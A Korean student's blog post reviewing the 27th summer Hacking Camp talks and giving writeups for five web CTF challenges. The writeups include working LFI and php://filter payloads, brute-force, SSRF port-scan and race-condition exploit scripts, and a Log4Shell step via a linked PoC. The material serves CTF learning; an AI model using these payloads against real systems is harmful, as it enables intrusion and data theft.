CTF Reviewed & Writeups/Hacking Camp

제 27회 하계 해킹캠프 참가 후기 및 Writeup

반응형
SMALL

27회 하계 해킹 캠프 요약 (후기)

이번에도 기회가 되어 27회 하계 해킹캠프에 참가하였습니다, 24, 25, 26, 27회까지 해킹캠프를 참가한지 이제 2년차가 되는 것 같아요 :)

 

24회 해킹캠프에 참가했을때는 해킹에 대해서는 아무것도 모르고 아는 사람들도 한명도 없어서, 발표를 잘 이해하지도 못하고 CTF 문제도 한문제도 못풀었던 기억이 나는데, 해킹캠프를 참가할때마다 계속해서 실력이 올라가는 것을 느끼는 것 같습니다.

 

해킹을 아무것도 몰랐던 때가 엇그제 같은데, 벌써 공부한지 2년이란 시간이 되는것 같아서 되게 신기하고 계속 성장하는 것 같습니다.

 

비록 이번에는 CTF에서 1등을 하지는 못했지만, 기회가 된다면 다음 해킹캠프도 참가해서 꼭 1등을 노려볼 수 있도록 도전해보고 싶습니다. (다음 회차 해킹캠프는 더 스케일이 커진다고 하던데, 꼭 참여해보고 싶네요 ㅎㅎ)

 

이번 해킹캠프 발표는 정말 알찼는데, 현재 주분야가 아닌 발표도 처음으로 잘 이해되었던 것 같습니다. 그래서 발표가 지금까지 해킹캠프 참가했던 회차중 가장 재밌었습니다.

 

또한 이번에는 팀장을 맏아서 [베스킨라빈스21]이라는 팀으로 캠프를 진행하게 되었는데, 처음 팀장을 했던지라 많이 헤매고 어떻게 분위기를 이끌어 나가야 할지 많이 고민했었지만 다행히도 팀원분들께서 잘 이해해주시고 너무 잘 챙겨주셔서 무사히 팀장 활동을 끝마치게 된 것 같습니다. 확실히 팀원의 입장과 팀장의 입장은 많이 다르다는 것도 느낄 수 있었습니다.

 

추가로, 기억에 남는 것 중 하나는 저를 알아보시는 분들이 압도적으로 많이 늘어났다는 것을 느꼈습니다. 전 회차도 많은 분들께서 저를 알아봐 주셨는데 이번에는 정말 너무 많이 알아봐주셔서 감사하고, 뜻깊었던 기억 같습니다.

 

또한 내년에 고등학교를 진학하게 되는 걱정감에 너무 두서없이 CTF가 끝나고 방에서 모여서 고민을 털어놓았었습니다. 되게 아무것도 아닌 고민일 수 있는데 개인적인 고민을 정말 함께 들어주시고, 앞으로 나아갈 진로 방향 같은 걸 너무 적극적으로 알려주시고 제안해주셔서 감동했습니다 ㅠㅠ

 

해킹캠프에서 얻어가는 동기와 지식으로 내년에는 고등학교에 진학하는 만큼 더 높은 웹 실력과 지식들을 쌓아서 각종 메이저 CTF에서 수상도 하고, CVE도 기회가 된다면 찾고 싶습니다. (해킹캠프 발표도 기회가 된다면 해보고 싶네요!)

기억에 남았던 개인적인 발표 TOP 3

"취약점이 중요하지 않다.  회사에서 보안쟁이로 살아남기!" [이창선 발표자님]

가장 처음에 진행되었던 발표인데, 정말 집중해서 들었던 발표였습니다. 다른 분들은 해당 발표를 어떻게 들으셨을지 모르겠지만 개인적으로 정말 공감도 많이 되고 감명을 받이 받았습니다.

 

해당 발표에서는 취약점 탐색과 CTF만이 중요한것이 아니다라는 것을 핵심으로 설명해주셨는데, 18년차 화이트 해커로 근무하고 계신 분이셨습니다.

 

어떻게 보면 제 나이보다 2년 더 먼저 보안을 시작하셨는데, 그동안의 보안 트랜드와 경험하셨던 것들을 이번 해킹캠프 발표에서 설명을 해주셨습니다.

 

보안이라고 생각하고 공부하고 있는 버그바운티, CTF 만 관련해서 공부하는 것은 그리 중요하지 않다는 것을 알게 되었고, 회사에서 필요로 하는 인재, 요구 하는 사람들은 오펜시브만 하는 사람들이 아니라는 것을 처음 느꼈습니다.

 

아직 제가 회사를 다니지는 않지만, 발표를 듣고 난 후 보안이라는 분야의 한쪽면에서 편협된 생각을 가져서는 안된다는 것을 알게 되었습니다.

 

보안의 원초적인, 화이트 해킹이라는 원초적인 기능부터 다시 생각해보게 되는 뜻 깊었던 발표였습니다 :)

 

추가로 [키다리 아저씨] 라는 보안에 관련에서 고민을 하고 있는 학생들에게 대신 조언을 해주고 방향성을 잡아주는 프로그램을 진행하고 계시는데, 나중에 저도 정말 보안 진로 쪽에서 깊은 고민이 들게 된다면 한번 적극적으로 조언을 구하고 싶습니다.

"악성코드 개발 도전기, 부제 : 근데 개발해서 뭐하지..?" [김희찬, 조영국 발표자님]

개인적으로 어떠한 발표가 가장 재밌었냐라고 질문을 받게 되다면 해당 발표를 얘기할 것 같습니다.

 

악성코드를 실제로 개발하고 여러 시행착오에 대한 발표를 진행하셨는데, 저는 웹해킹과 웹개발에 지식밖에 알지 못하는 와중에서 발표 난이도를 많이 하향해서 진행해주셔서 이해가 쉽게 된 발표였습니다.

 

특히, 발표 자료에 여러 밈이나 짤들을 섞어서 진행하니 더 재밌고, 깊은 주제를 되게 쉽게 와닿을 수 있도록 하는데에 많은 도움을 주었던 요소 같습니다.

 

기본적으로 악성코드는 리버싱과 같은 기술로 복호화 키를 찾아서 악성코드에 감염된 파일을 복구할 수 있는데, 이번에 발표에서 진행했던 악성코드는 그 어떤 세계 최고의 리버서가 와도 복호화 할 수 없도록 만드는 것이 목표였던 악성코드였습니다.

 

개발 과정에서 Windows의 다양한 디펜더와 내장 백신 프로그램을 우회하는데에 많은 시행착오를 겪었다고 하셨는데, 정말 많은 백신 프로그램을 우회하는 과정을 보면서 Windows도 기본적인 보안은 정말 잘 구축되어 있다고 생각이 들었습니다.

 

하지만 안전한 프로그램은 없다는 말이 있듯이 이러한 디펜더를 우회하고 개발을 진행하는 것을 보면서, 정말 악성코드 개발은 쉬운것이 아니라는 것을 알게 되었습니다.

 

그런데 이러한 악성코드가 모든 디펜더를 우회하고 실제로 실행되는 것을 보니, 악성코드 개발에 매력을 느낄 수 있었습니다. 나중에 웹해킹뿐만 아니라 공부를 진행해서 악성코드를 실제로 제작해보고 테스트하고 싶은 마음이 생겨났습니다.

 

발표를 깊게 다루지 않고 초보자를 대상으로 설명을 진행하니, 관련 지식이 없어도 쉽게 이해가 가능했습니다, 악성코드에 흥미를 가지게 된 좋은 발표였다고 생각이 듭니다!

"인공지능으로 도전하는 해킹" [배송현 발표자님]

원래부터 인공지능이라는 분야에 대해 정말 관심이 많았는데, 이러한 기술을 해킹으로 엮었다니 집중해서 안들을 수가 없던 발표였습니다.

 

발표 내용에 아무리 인공지능이다 보니 알고리즘과 기술을 설명하는 과정에서 상당한 수학 지식이 요구되는데, 물론 그러한 수학을 이해를 하지는 못했습니다 ㅎㅎ..

 

하지만 이번 발표에서는 강화학습이라는 인공지능 알고리즘을 게임에 접목하여 이해하기 쉽게 설명해주시니, 상대적으로 그냥 알고리즘을 이해하는 것 보다 더 이해가 잘 와닿을 수 있었습니다.

 

이번 발표를 통해 머신러닝의 종류에는 Superviser (지도 학습), Unsuperviser (비지도 학습) 만 있는 것이 아닌 Q-Table (강화 학습) 이라는 새로운 알고리즘에 대해 알게 되었던 것 같습니다.

 

강화학습이라는 알고리즘은 정말 많이 매력적인 알고리즘이였습니다, 상대적으로 다른 머신러닝 알고리즘보다 더 신박한 알고리즘이여서 나중에 인공지능 공부를 깊게 할 수 있다면 한번 블로그에도 정리해보고 싶습니다.

 

이러한 강화학습을 이용해 발표에서는 웹해킹을 탐지하고 페이로드를 알려주는 그러한 인공지능 모델을 개발하신 과정을 설명해주셨는데, 이해는 완전하게 되지는 않았지만 신박했습니다.

 

웹해킹 취약점 탐지를 진행할때, 이러한 인공지능 모델을 접속하여 탐지를 진행하게 된다면 상대적으로 더 빠르게 높은 정확도로 취약점이 있는 백터를 Black-box에서도 찾을 수 있겠다라는 생각이 들었습니다.

 

현재 관련 대회 신청을 진행하고 있는데 기회가 된다면 발표자분이랑 같이 나가보고 싶다는 마음이 들었습니다, 발표도 너무 흥미로웠습니다.

CTF Writeup (Web 부분 전체)

해킹캠프에 핵심이라고 불릴 수 있는 CTF Writeup을 진행해보려고 합니다. 원래는 이번 해킹캠프에서는 웹문제 전체를 올클하고 1등하는 것이 목표였는데, 문제가 생각보다 난이도가 있어서 놀랐습니다. 

 

하지만 너무 많은 방법을 배우고 얻어갈 수 있었던 문제가 많아서 공부에 많은 도움이 되었습니다.

FLAG:PUPPY [WEB]

flag 대신 귀여운 강아지를 드리겠습니다!

Black-box 문제였습니다. 문제 사이트에 접속해보면 다음과 같은 페이지가 나오게 됩니다.

 

위와 같이 ID와 PW를 입력하는 창이 나오고 로그인을 진행할 수 있습니다.

 

여기서 아무 계정으로 로그인을 진행하게 되면 아래와 같은 귀여운 강아지 사진이 나오게 됩니다.

 

위와 같은 페이지에서는 아무런 것을 찾을 수 없지만 image를 로드하는 path에서 취약점이 발생하게 됩니다.

/post.php?files=image/puppy.jpeg

 

위는 URL의 path 부분만 가져온 것인데, files query에서 LFI 취약점이 발생하는지 테스트 해볼 수 있습니다.

/post.php?files=../../../../etc/passwd

 

성공적으로 passwd 파일을 가져오는 것을 확인할 수 있습니다, 하지만 LFI는 발생하지만 FLAG의 위치는 따로 알 방법이 없습니다.

 

이러한 경우 post.php 내부에 flag 경로가 하드코딩 되어있을 수 있다는 것을 예측해볼 수 있습니다.

 

post.php를 얻기 위해서는 php wrapper를 사용해야 합니다, php 파일의 기본 경로인 "/var/www/html" 에서 post.php를 읽으려고 시도해볼 수 있습니다.

/post.php?files=php://filter/convert.base64-encode/resource=/var/www/html/post.php

 

성공적으로 base64로 인코딩 된 문자열을 얻을 수 있고, 디코딩 해보면 FLAG의 위치가 하드코딩 되어 있음을 볼 수 있습니다.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Random Puppy</title>
</head>
<body>
    <div class="container">
        <?php
        if (!isset($_GET['files'])) {
            $files = [
                'image/image1.html',
                'image/image2.html',
                'image/image3.html',
                'image/image4.html'
            ];
            $file = $files[array_rand($files)];
            header("Location: post.php?files=$file"); // 페이지 이동 및 URL 설정
        } else {
            $file = $_GET['files'];
            ob_start();
            include($file);
            $fileContent = ob_get_clean();
            echo $fileContent;
        }
        ?>
    </div>
</body>
</html>
<?php
    /*
    Here's my secret : /secret/flag.txt
    */
?>

 

/secret/flag.txt 라는 경로에 FLAG가 존재함을 알 수 있고, 해당 경로에 접근해보면 FLAG 파일을 읽을 수 있습니다, 여기서 주의할 점은 해당 flag의 경로가 루트 디렉토리에서 /secret/flag.txt가 아닌 /var/www/html/secret/flag.txt로 읽어야 합니다.

 

즉, 상대경로로 flag 위치를 해석해야합니다.. ( ./secret/flag.txt 라고 이해하면 쉽습니다 )

FLAG : HCAMP{1nst3ad_4_cu73_pu99y}

BESTCOOKIE [WEB]

최고의 쿠키를 찾아보세요!

해당 문제는 게싱이 필요한 문제입니다.

 

마찬가지로 Blackbox 문제이고 페이지에 접속하면 아래와 같은 화면이 나오게 됩니다.

 

위 페이지에서는 일단 할 수 있는 것이 아무것도 없고, Cookie 탭을 확인하면 bestCookie라는 쿠키값이 설정되어 있는 것을 확인할 수 있습니다. 

bestCookie=1

 

먼저 처음 문제를 풀기 위해서는 해당 쿠키 값을 1씩 증가하면서 브루트 포싱하여야 합니다.

import requests
import time

url = "http://15.165.100.234:3000/index.php"

# 124

for i in range(200):
    time.sleep(0.3)

    cookie = {"bestCookie": f"{i}"}

    res = requests.get(url, cookies=cookie)

    print(res.text, cookie)

 

브루트포싱 코드를 짜서 브루트포싱하게 된다면 124번 쿠키값에서 다른 값이 출력된다는 것을 알 수 있습니다. 

 

쿠키 값을 124로 설정하고 새로고침하면 base64로 인코딩된 bestCookie 값을 얻을 수 있습니다. 

bUtt3r_Cookie_is_the_best!!

 

하지만 이는 FLAG가 아닙니다. 해당 문자를 해석해보면 butter cookie is best라는 문자열이 완성됩니다. 또한 코드를 확인하게 되면 하드코딩 되어있는 PHP 코드를 확인할 수 있습니다.

 

위 코드에서 $answer에서 str_replace를 진행하는 것을 볼 수 있습니다. 값이 "___ Cookie!" 라는 것을 보아, bUtt3r 이라는 문자가 replace 되지 않도록 막아야 한다는 것을 예측(?) 해볼 수 있습니다.

 

bUtt3r 이라는 문자열을 replace 되지 않도록 만들게 된다면 FLAG를 출력합니다.

 

위 조건을 repalce 되지 않도록 하는 문자열은 아래와 같습니다.

b3rUt3rt33rr

 

해당 문자열을 input 값에 넣게 되면 FLAG를 출력해줍니다.

 

FLAG : HCAMP{Try_the_bEst_cOokie5_bUTter_Co0kIes}

DETECTNET [WEB]

DetectNet은 보안 장비를 판매하고 관리하는 회사입니다. 최근 새로운 관리 서버를 구축하여 운영 중이며, 안전을 위해 모의해킹 진단을 의뢰했습니다. 아래 환경 구성도를 참고하여 취약점을 발견하고 로그 서버를 장악하는 것이 목표입니다.

flag는 로그 서버 /tmp/flag.txt에 존재합니다.

 

해당 문제는 실제로 존재했던 취약점을 기반으로 만들어진 Blackbox WEB 문제였습니다. 문제 자체가 Blackbox는 약간의 게싱이 필요한데, 해당 문제는 전혀 게싱이 요구되지 않았던 문제여서 되게 잘 만들어진 문제라도 생각이 들었습니다.

 

또한 많은 것을 얻어갈 수도 있었던 문제였던 것 같습니다, 먼저 페이지에 접속하면 아래와 같은 화면이 존재합니다. 

 

굉장히 복잡해보이지만 알아보면 엄청 복잡하지 않습니다, 일단 먼저 FLAG는 내부 서버인 logapp의 /tmp/flag.txt라는 경로에 존재한다는 것을 알고 있으므로 내부 서버로 요청을 보낼 수 있는 방법을 생각해봐야 합니다.

 

그럴려면 관리자로 로그인이 가능해야하는데, 회원가입부분에서 IDOR 취약점이 발생합니다.

 

위는 회원가입을 진행할때 발생하는 packet을 캡쳐한 모습인데, role을 member로 설정하고 있습니다, 해당 부분을 admin으로 변경해주면 admin 권한의 계정으로 회원가입이 가능합니다.

 

그러면 myprofile.php의 admin 권한만 가능한 file upload/download 기능이 나오게 되는데, upload 기능에서 file upload vuln을 사용해보려고 했으나 워낙 필터링이 빡세게 걸려 있어서 우회가 불가능하다고 판단하였습니다.

 

하지만 download 부분에서는 LFI 취약점이 발생하였습니다, 이를 통해 php 소스코드와 다른 파일들을 모두 LEAK 할 수 있었습니다.

 

여기서 logapp이라는 내부서버로 접근할 수 있는 백터를 찾아야 하는데, ssrf가 발생할만한 페이지가 존재하였습니다.

 

/severstatus.php에서 위와 같이 내부적으로 요청을 진행하는 부분을 확인할 수 있습니다. 여기서 내부적으로 요청을 진행하려면 Lookup key라는 것을 알아내야 하는데, 이부분은 serverstatus.php 소스코드를 위의 LFI로 LEAK하면 얻을 수 있습니다.

 

여기서 코드를 확인해보면 lookupkey가 "dtnet2627" 이라는 것을 확인할 수 있습니다.

 

이를 이용해서 내부적으로 ssrf 요청을 보낼 수 있습니다, 먼저 logapp으로 요청을 보내기 위한 도메인은 알고 있지만, 포트를 알지 못합니다, 이는 포트스케닝을 통해 logapp으로 연결할 수 있는 포트를 찾아야 합니다.

import requests

url = f"http://15.165.100.234:8380/serverstatus.php"

for i in range(2000, 10000):
    header = {"Content-Type": "application/x-www-form-urlencoded"}
    cookie = {"PHPSESSID": "hsh2m5ka6n219v0oilb4bj9kp5"}

    body = {"serveraddress": f"http://logapp:{i}/tmp/flag.txt", "lookupkey": "dtnet2627"}

    res = requests.post(url, headers=header, cookies=cookie, data=body)

    print(f"http://logapp:{i}/tmp/flag.txt", i)

    if "404" in res.text or "200" in res.text:
        print(res.text)

 

위 Exploit 코드를 활용해서 포트스케닝을 진행해보면 포트번호는 8080이라는 것을 확인할 수 있습니다.

 

이를 활용해서 요청을 보내보면 결과를 얻을 수 있습니다.

 

위를 통해 결과를 확인해보면 log path는 /log 이고 value라는 파라미터를 받음을 알 수 있습니다.

 

이를 이용해서 단순히 요청을 보내게 되면 FLAG를 얻을 수 없습니다.

 

log4j 버전이 2.14.1 이라는 부분을 유심히 봐야 합니다, 2.14.1 버전의 log4j 모듈은 엄청나게 유명한 log4shell 취약점이 발생합니다. (CVE-2021-44228)

 

이를 활용해 log4shell 페이로드를 만들어, 요청을 보내게 되면 shell을 얻어올 수 있습니다.

 

log4j를 실제로 진행하기는 시간이 너무 오래 걸려서 아래와 같은 poc 코드를 통해 log4shell을 진행하면, shell 명령어를 실행해 flag을 읽을 수 있습니다. (log4j 관련해서는 나중에 한번 블로그에 정리해놓겠습니다.)

 

https://github.com/kozmer/log4j-shell-poc

 

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

github.com

 

이를 통해 log4shell을 실행하고 "cat /tmp/flag.txt" 명령어를 실행하게 되면 성공적으로 flag를 읽어올 수 있을 것 입니다.

 

log4j를 공부할 일이 많이 없었는데, 이번에 더 log4j와 log4shell 기법에 대해 많이 알아보게 된 것 같습니다 :)

Thumbnail Generator [WEB]

Simple thumbnail generator service built on node

해당 문제는 시간이 없어서 보지는 못했지만 나중에 쉬운 문제라는 것을 알고 많이 슬펐던 문제입니다.

 

이번 문제는 whitebox로 코드가 존재하였던 문제였습니다, 해당 문제는 node.js로 구현되어 있었습니다.

...

 db.run(
    `INSERT INTO users (username, password) VALUES (?, ?)`,
    ["admin", "hcamp2023"],
    (err) => {
      if (err) {
        console.error(err.message);
      }
      console.log("Inserted a user.");
    }
  );
});

// initialize template engine
nunjucks.configure("views", {
  autoescape: true,
  express: app,
});

// initialize middleware
app.use(express.urlencoded({ extended: true }));
app.use(express.json({ extended: true }));
app.use(
  session({
    secret: process.env.SESSION_SECRET,
    resave: false,
    saveUninitialized: true,
  })
);

// initialize static files
app.use(express.static("public"));

// auth guard middleware for routes
const authGuard = (req, res, next) => {
  if (req.session.user) {
    return next();
  } else {
    return res.redirect("/login");
  }
};

// initialize routes
app.get("/", (req, res) => {
  res.render("index.html", { user: req.session.user });
});

app.get("/login", (req, res) => {
  res.render("login.html");
});

app.post("/login", (req, res) => {
  const { username, password } = req.body;
  const sql = `SELECT * FROM users WHERE username = ? AND password = ?`;
  db.get(sql, [username, password], (err, row) => {
    if (err) {
      console.error(err.message);
      return res.status(500).send("Internal Server Error");
    } else if (row) {
      req.session.user = row;
      return res.redirect("/");
    } else {
      return res.status(500).send("username or password is not correct")
    }
  });
});

app.get("/logout", (req, res) => {
  req.session.destroy();
  res.redirect("/");
});

app.get("/register", (req, res) => {
  res.render("register.html");
});

app.post("/register", (req, res) => {
  const { username, password, confirm_password } = req.body;
  if (password !== confirm_password) {
    return res.status(500).send("password doesn't match");
  }

  // check if username exists
  db.get(`SELECT * FROM users WHERE username = ?`, [username], (err, row) => {
    if (row) {
      console.error(err.message);
      return res.status(500).send("user already exists");
    }
  });

  db.run(
    `INSERT INTO users (username, password) VALUES (?, ?)`,
    [username, password],
    (err) => {
      if (err) {
        console.error(err.message);
        res.status(500).send("Internal Server Error");
      } else {
        res.redirect("/login");
      }
    }
  );
});

app.get("/user", (req, res) => {
  if (req.session.user) {
    res.render("user.html", { user: req.session.user });
  }
});

app.post("/thumbnail", authGuard, async (req, res) => {
  let { url, x = 100, y = 100 } = req.body;

  if (!url) {
    url = "https://www.google.com";
  }

  x = parseInt(x)
  y = parseInt(y)

  if (typeof x == "number" || typeof y == "number") {
    // console.log(x, y);
    x = Math.max(100, Math.min(x, 500));
    y = Math.max(100, Math.min(y, 500));
  }

  console.log(req.session.user, url, x, y)

  try {
    const browser = await puppeteer.launch({
      headless: "new",
      executablePath: "/usr/bin/chromium-browser",
      args: ["--no-sandbox", "--disable-gpu"],
    });

    const page = await browser.newPage();
    await page.setViewport({ width: x, height: y });
    await page.goto(url);
    const imageBuffer = await page.screenshot();
    await browser.close();

    const resizedImageBuffer = await sharp(imageBuffer).resize(x, y).toBuffer();

    res.set("Content-Type", "image/png");
    res.send(resizedImageBuffer);
  } catch (err) {
    console.error(err.message);
    res.status(500).send("Internal Server Error");
  }
});

app.listen(3000, () => {
  console.log("Listening on port 3000");
});

 

위는 문제 소스코드의 일부분만 가져온 것 입니다.

 

먼저 소스코드를 확인해보면 admin 계정의 정보가 하드코딩 되어있는 것을 확인할 수 있습니다.

 db.run(
    `INSERT INTO users (username, password) VALUES (?, ?)`,
    ["admin", "hcamp2023"],
    (err) => {
      if (err) {
        console.error(err.message);
      }
      console.log("Inserted a user.");
    }
  );
});

 

이를 통해 admin 계정으로 로그인을 진행하게 되면 아래와 같이 특정 url로 요청을 보내고 응답을 반환하는 기능이 존재함을 확인할 수 있습니다.

 

 

특정 URL로 요청을 보내게 되면 응답온 부분을 작은 이미지로 출력해줍니다.

 

해당 이미지의 사이즈는 최대 500x500으로까지만 늘릴 수 있었습니다. (코드에 명시되어 있음)

 

해당 기능을 확인하고 직감적으로 file scheme을 시도해 볼 수 있습니다.

file:///etc/passwd

 

위와 같이 요청을 보내게 되면 /etc/passwd의 내용을 출력하는 것을 확인할 수 있습니다.

 

이와 같이 file scheme에서 취약점잉 존재함을 확인할 수 있었지만, flag의 위치는 알 수 없습니다.

 

해당 flag의 위치를 알아내기 위해서는 디렉터리 리스팅을 진행해야 합니다.

 

디렉터리 리스팅은 아래와 같은 방법으로 진행할 수 있습니다.

file:///

 

위와 같이 디렉터리의 경로가 나오게 되고 app 폴더에 접속하게 되면 초기 문제 설정 코드를 볼 수 있습니다, 여기서 Dockerfile이라는 파일을 읽어올 수 있게 됩니다.

file:///app/Dockerfile

 

Dockerfile은 기본적으로 문제에서 컨테이너 환경을 구성하기 위해 사용됩니다, 여기서 flag의 경로는 /wdkqqpkfpq 라는 것을 명시적으로 알 수 있습니다.

 

이를 통해 file scheme을 이용하고 요청을 보내게 되면 flag를 성공적으로 읽어올 수 있습니다.

file:///wdkqqpkfpq

 

FLAG : HCAMP{ccef14fb47e450b8f284fb45ec4beb09}

Flag Shop [WEB]

You can obtain the flag from this service. :)

Discover how by following the link below! https://www.djangoproject.com/weblog/

상대적으로 좀 참신한 문제였습니다.

 

문제 사이트에서 회원가입 및 로그인을 진행하게 되면 아래와 같이 페이지가 나오게 됩니다.

 

여기서 flag를 구매할 수 있는데 flag의 가격이 1000$ 인것을 확인할 수 있습니다.

 

하지만 현재 잔고가 100$ 이기에 이를 변조해야 하는 문제라고 생각할 수 있습니다.

 

특정 상품을 구매하기 위하여 order 버튼을 누르게 된다면 아래와 같이 Email을 입력하는 팝업창이 나오게 됩니다.

 

해당 부분에서 ReDos라는 Django의 취약점이 발생하게 됩니다.

 

이메일을 정규표현식으로 검사하는 로직이 ReDos에 취약합니다.

 

ReDos In Django 취약점에 대해서는 아래 관련 링크를 통해 확인해 볼 수 있습니다.

https://security.snyk.io/vuln/SNYK-PYTHON-DJANGO-40779

 

Snyk Vulnerability Database | Snyk

The most comprehensive, accurate, and timely database for open source vulnerabilities.

security.snyk.io

 

이메일의 형식을 아래와 같이 주게 된다면 정규표현식을 검사하기 위한 시간이 엄청나게 길어지게 됩니다, 정규표현식을 검사하는 시간이 엄청나게 증가하였음으로 이를 검사하는 도중에는 다른 작업을 처리할 수 없습니다.

// 올바른 이메일
ge33394@gmail.com 

// ReDos 취약 이메일
"a." * 1000 + "@gmail.com"

 

해당 부분을 노려 Race Condiation 취약점을 트리거할 수 있습니다.

 

이메일을 검사하는 시간을 엄청나게 늘려 User 값의 변동을 일시적으로 중단하게 되면 중복으로 여러 물건을 구매할 수 있게 됩니다.

 

즉, Redos 이메일을 넣어놓고, 검사하는 사이에 order를 엄청나게 중복으로 넣어버리면 검사를 진행하지 못함으로 중복으로 물건을 계속 구매할 수 있게 됩니다.

import requests

from concurrent.futures import ThreadPoolExecutor

def make_request(url):
    data = {
	'email': 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@gmail.com'
    }
        
    headers = {
        'Cookie': 'csrftoken=iQw1X6vSTbpQAnfKjjySu9ITnEZSvjy25epfFTMIB5I1X0e3JhdFvlY4kfPaMbV2; sessionid=dikz63413g6bkwztzcqwndydeobwtiuc',
    }
    
    response = requests.get(url, data=data, headers=headers)
    print(f"Response from {url}: {response.status_code}")

cookies = {}

urls = [
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/',
   'http://158.247.236.165/product/2/order/'
]

executor = ThreadPoolExecutor()
for url in urls:
    executor.submit(make_request, url)

executor.shutdown(wait=True)

(참고 : https://one3147.tistory.com/62)

 

thread를 이용해서 위와 같이 요청을 보내면 이메일을 검사하느라 user의 잔고를 업데이트할 수 없습니다, 100$ 물건을 10개 구매할 수 있게 됩니다.

 

이를 모두 팔아 1000$를 완성시키면 flag를 구매할 수 있습니다.

FLAG : HCAMP{have_a_nice_hcamp_bro}

27회 해킹캠프 느낀점

이번 해킹캠프를 참가하면서 확실히 전년도 해킹캠프를 참가했을때에 비해서 실력이 많이 향상 되었음을 느꼈습니다.

 

또한 다음에 해킹캠프를 진행하게 된다면 기존에는 참가자로만 참가를 진행하였었는데, 보안에 관련해서 더 많은 프로젝트를 진행해서 내년에는 해킹캠프에서 발표와 참가를 동시에 진행해보고 싶습니다.

 

이번 해킹캠프도 큰 문제와 이슈 없이 무사히 마무리되어서 한편으로는 다행이다라는 생각도 들었습니다.

 

이제는 해킹캠프가 끝나고 사람들끼리 모여서 에프터파티를 하는게 거의 국룰(?)이 되어버린 것 같은데, 항상 다양한 분들과 만나서 대화하고 새로운 분들을 계속해서 만날 수 있다는 것이 해킹캠프의 가장 큰 장점 중 하나인 것 같습니다.

 

내년 해킹캠프에서는 꼭 CTF 1등과 웹 올클을 할 수 있기를..!!!

 

반응형
LIST